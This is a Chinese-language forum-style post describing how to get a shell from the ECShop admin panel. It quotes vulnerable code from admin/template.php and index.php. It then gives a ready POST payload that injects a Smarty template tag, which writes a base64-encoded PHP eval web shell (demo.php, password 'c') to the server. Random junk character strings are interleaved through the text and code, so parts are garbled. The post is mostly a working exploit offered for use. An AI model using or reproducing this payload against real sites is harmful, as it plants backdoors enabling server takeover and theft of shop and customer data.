Ecshop后台getshell

admin

首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
, J4 x4 G5 g4 C" g
而模板里面可以执行他定义的php代码，这样只要可以写出模板 然后找到调用就可以拿到shell了
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
- u1 V5 Z- C* a/ o1 Q$ H0 Padmin/template.php
: ~: t. o2 n( e3 G& ~: Z5 R: n$ Y( Y
1 if ($_REQUEST['act'] == 'update_library')

+ Q7 Y$ o3 T) R# T" E7 j+ G2   

# v3 L: v4 \7 |6 T% Y3 {

8 j) E5 r% m- \( k5 p  |" b" l. a4     check_authz_json('library_manage');

5   

/ k) Y7 Y0 g8 ]! V6     $html = stripslashes(json_str_iconv($_POST['html']));

7   

; Q& c; F( j. w" s* P7 o8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件

9   

# e6 X: P3 S, w8 l2 `- E: K. u10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符

11   
, H) n. c* w% p! H
  V' t) O4 m# ]6 J12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));

1 n& {% ?9 Q3 b4 s0 p13   
3 e$ Q# m6 F0 q! y& [
14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出

15     {

16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
7 y* l3 H; G. m. G4 \
, d( y- v! T0 \& e/ l17         make_json_result('', $_LANG['update_lib_success']);
, ]6 j  E7 S5 K4 [, ~8 `0 r
18     }

19     else
  x! f. N4 z. ?" \7 V: O7 W* Y
20     {

! T' F  J9 Z. q( ]; F; g. ]& u21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));

22     }

23 }
& r( X) a0 E& a0 z% O
那么找个比较方便调用了模板的文件
index.php
, t7 y. o/ x7 w) P. |* Q
1 if ($act == 'cat_rec')

2   

$ b2 E/ c; E2 [' J- }  a+ O/ G3 {
# [) l% |# w7 N  N
4   

2 e" v& d  t& N  c) e5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');

0 \) L" S% q4 U5 M9 s6   
8 p: t9 v; l+ O! N. O
5 ~" O! ~4 Z+ i* j8 N& G7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
( Q* G  j- Q. m9 g3 c# ?! J
# z  f$ m9 w6 n+ r9 [9 \2 n8   

9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';

10   

11     include_once('includes/cls_json.php');
- ?" Z  O" K# @/ F* y& F1 M
) v* D* Q& L* B. Y12   
$ k% R: D6 Y1 U4 T
13     $json = new JSON;

- `9 _! w% k/ i2 X- o14   
: b/ o* D$ A0 l: z: ]+ K
15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);

16   

% h% `% O' p* x' p) h+ k17     $children = get_children($cat_id);
( I) `' z! `$ b9 k# k  i
18   

/ Y2 D( J8 ?- \# w19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品

20   

21     $smarty->assign('cat_rec_sign', 1);

6 W* Q- b6 H% X: F; C22   
* }7 ^7 p. x# O7 h9 Y
23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best

24   

: L( f9 J: y) X" o5 U# w0 R25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';

, C# j6 P) x3 ]' x# @26   

27         echo $rec_array[$rec_type];

" R* Z  h7 j- v- X' [* x28   

8 @8 ~2 f. e* e' r2 B0 `29     die($json->encode($result));

1 s4 D2 X* Q: x9 a30   
+ a% t* f, h8 [
31 }
  q5 E+ r& Q; p8 ?- b/ k
那么就有利用方法了
% D" b# ~& b4 \, zpost包到http://localhost/ec/admin/template.php?act=update_library
Post内容：

​
- a/ A9 {! o" y# s% Z& L& t* N1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}

9 l- ~& \& w5 z2 M; r然后访问http://localhost/ec/index.php?act=cat_rec
  y' v5 z' v( ]' ^' y4 W
shel地址：http://localhost/ec/demo.php
密码c

' H9 h1 g: ?4 C* R3 }6 E( e6 }